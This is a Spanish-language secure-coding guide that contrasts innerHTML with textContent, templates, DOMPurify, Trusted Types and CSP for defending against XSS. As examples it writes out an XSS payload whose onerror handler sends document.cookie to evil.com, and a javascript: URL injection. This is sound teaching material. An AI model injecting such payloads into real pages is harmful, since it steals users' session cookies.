Plantillas frente a innerHTML: seguridad

Asignar el.innerHTML = userInput analiza la cadena como HTML. Si userInput contiene <script> o controladores de eventos como onerror, el navegador los ejecuta, lo que crea una vulnerabilidad de Cross-Site Scripting (XSS).

Un atacante envía un nombre de usuario: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Si se renderiza con innerHTML, se activa onerror y se exfiltra la cookie de sesión. El contenido de texto se convierte en código ejecutable.

el.textContent = userInput trata la cadena como texto plano: no analiza HTML ni ejecuta scripts. El navegador escapa automáticamente < y > en los nodos de texto. Use siempre textContent para los valores proporcionados por los usuarios.

Al usar template.cloneNode(true), la estructura procede de un template HTML previamente analizado, no de una cadena proporcionada por el usuario. Establecer los valores mediante textContent en los nodos clonados mantiene los datos del usuario en nodos de texto, nunca en HTML analizado. La estructura y los datos están separados.

Si se necesita formato HTML proporcionado por los usuarios (texto enriquecido), debe sanearlo antes de asignarlo a innerHTML. DOMPurify es la biblioteca estándar: el.innerHTML = DOMPurify.sanitize(richHtml). Elimina las etiquetas y los atributos peligrosos, conservando el formato seguro.

insertAdjacentHTML("beforeend", html) también analiza cadenas HTML, por lo que presenta el mismo riesgo de XSS que innerHTML. Aplique las mismas reglas de saneamiento. La alternativa más segura es crear elementos con createElement, establecer su textContent y usar appendChild.

Establecer atributos con datos del usuario puede crear una inyección: el.setAttribute("href", userUrl), donde userUrl es javascript:alert(1), crea una vulnerabilidad de XSS. Valide los esquemas de las URL: permita únicamente http:, https: y mailto: antes de establecer atributos href o src.

La manipulación del DOM es un ataque en el que elementos de formulario con nombre (id="getElementById") sobrescriben variables globales de JavaScript. Acceda siempre a los elementos mediante document.getElementById() en lugar de usar propiedades globales de window. La Content Security Policy también mitiga los ataques de manipulación del DOM.

Trusted Types (Chrome, aplicado mediante CSP) exige que innerHTML, insertAdjacentHTML y otros puntos de inserción similares reciban cadenas envueltas por una política. No se pueden asignar cadenas sin procesar; solo valores creados por una política TrustedTypes declarada. Esto evita omitir accidentalmente el saneamiento.

Crear elementos con la API del DOM (createElement, createTextNode) y manipularlos en un DocumentFragment es intrínsecamente seguro frente a XSS: el texto siempre es texto y nunca HTML analizado. Los DocumentFragments son la forma más segura de construir interfaces dinámicas complejas.

Una CSP estricta (sin unsafe-inline y con scripts basados en nonce) proporciona una defensa en profundidad contra XSS. Aunque un atacante inyecte HTML, la CSP impide que se ejecuten los scripts inyectados. La CSP no elimina la necesidad de sanear el contenido: es una red de seguridad, no la defensa principal.

¿Por qué textContent es más seguro que innerHTML para renderizar datos proporcionados por el usuario?

innerHTML y las API relacionadas analizan cadenas HTML, lo que crea vulnerabilidades de XSS cuando los datos del usuario se interpolan sin sanear. Usar textContent, clonar templates y completarlos con textContent, utilizar DOMPurify para texto enriquecido y aplicar Content Security Policy proporciona una defensa por capas contra los ataques de inyección de HTML.